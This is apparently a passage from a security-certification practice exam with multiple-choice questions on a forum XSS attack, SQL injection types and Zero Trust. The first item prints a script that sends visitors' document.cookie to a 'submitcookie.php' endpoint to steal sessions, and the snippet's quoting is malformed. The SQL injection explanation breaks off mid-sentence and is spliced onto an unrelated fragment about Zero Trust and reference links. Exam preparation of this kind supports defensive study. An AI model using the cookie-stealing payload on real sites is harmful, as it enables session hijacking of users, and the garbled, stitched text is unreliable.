Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write('<img.src="https://localhost/submitcookie.php? cookie ='+ escape
(document.cookie) +"' />);
</script>
```

What issue occurred for the users who clicked on the image?

A. This php file silently executes the code and grabs the user's session cookie and session ID.
B. The code redirects the user to another site.
C. The code injects a new cookie to the browser.
D. The code is a virus that is attempting to gather the user's username and password.

Answer: A

Explanation:

The JavaScript code writes clickable link to the web page (document.write()). The created link poiting to the .php script uses parameter "cookie" with user's current cookie (read by document.cookie function). This is how user's cookie can be sent to the attacker and hijacked user's session.

Question: 77

Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs.
Which two SQL injection types would give her the results she is looking for?

A. Out of band and boolean-based
B. Union-based and error-based
C. Time-based and union-based
D. Time-based and boolean-based

Answer: D

Explanation:

D is correct because time-based and boolean-based SQL injection techniques allow for precise evaluation of database responses to true or false conditions.

Reasoning: Time-based SQL injection entails injecting commands that delay the execution of queries, helping the attacker discover the presence of certain values by measuring response time. Conversely, boolean-based injection relies on logical conditions that directly evaluate the truthiness of the database queries, yielding explicit true or false responses. When combined, these techniques provide a robust framework for

function is more about packaging software rather than securing access.

Thus, Eric's implementation aligns closely with Zero Trust principles, making it the most appropriate choice for securing cloud resources.

1. https://www.cio.com/article/306282/what-is-zero-trust-the-security-model-protecting-the-modern-enterprise.html
2. https://www.forbes.com/sites/bernardmarr/2021/04/26/a-complete-guide-to-zero-trust-security-what-it-is-and-how-it-works/?sh=4a6be1c01e74
3. https://www.microsoft.com/en-us/security/business/zero-trust